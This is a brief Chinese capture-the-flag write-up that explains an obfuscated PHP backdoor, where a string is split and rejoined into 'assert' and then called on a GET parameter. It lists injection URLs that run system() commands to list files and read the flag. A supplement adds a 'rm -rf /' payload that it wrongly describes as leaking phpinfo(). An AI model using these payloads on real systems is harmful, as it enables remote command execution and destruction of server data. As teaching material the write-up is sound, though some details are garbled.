一、原题
(1)提示:
poc="a#s#s#e#r#t";poc_1=explode("#",poc);poc_2=poc_1\[0\].poc_1[1].poc_1\[2\].poc_1[3].poc_1\[4\].poc_1[5]; poc_2(_GET['s'])
(2)原网页:一片空白什么都没有

二、步骤
1.提示:
php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
2.提示分析:
php
$poc="a#s#s#e#r#t";
// 定义一个字符串 $poc,内容为 "a#s#s#e#r#t"
$poc_1=explode("#",$poc);
// 使用 explode 函数将字符串 $poc 按照 "#" 分割成数组
// 结果是 $poc_1 = ['a', 's', 's', 'e', 'r', 't']
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
// 将数组 $poc_1 中的元素通过字符串拼接操作符 "." 连接成一个字符串
// 结果是 $poc_2 = "assert"
$poc_2($_GET['s']);
// 动态调用函数 $poc_2,并传入用户输入的参数 $_GET['s']
// 由于 $poc_2 的值是 "assert",这一行代码等价于:assert($_GET['s']);
3.利用代码注入漏洞,构造新的URL:
117.72.52.127:15439?s=system(ls)
或者:
117.72.52.127:15439?s=system(dir)

4.输入:
117.72.52.127L15439?s=system(''cat flaga15808abee46a1d5.txt')
获得flag:
三、补充
1.其他代码注入漏洞:
执行phpinfo(),泄露服务器PHP配置信息
http://117.72.52.127:15640?s=system('rm -rf /')
执行rm -rf,删除服务器上的所有文件(假如有权限)
2.参数值分析:
system('ls')
system:PHP 的一个内置函数,用于在服务器上执行操作系统命令,并将输出直接返回给调用者
ls:Linux 系统中的一个命令,用于列出当前目录下的文件和文件夹
四、RCE: